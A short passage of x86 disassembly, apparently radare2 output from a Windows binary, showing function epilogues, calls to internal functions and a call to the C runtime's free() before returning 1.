pop ebp
ret
mov esi, dword [ebp - 8]
mov edx, dword [ebp + 8]
push ecx
mov ecx, esi
call fcn.0040fc80
add esp, 4
mov edx, ebx
mov ecx, esi
push edi
call fcn.00410760
add esp, 4
mov ecx, esi
call fcn.004102f0
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret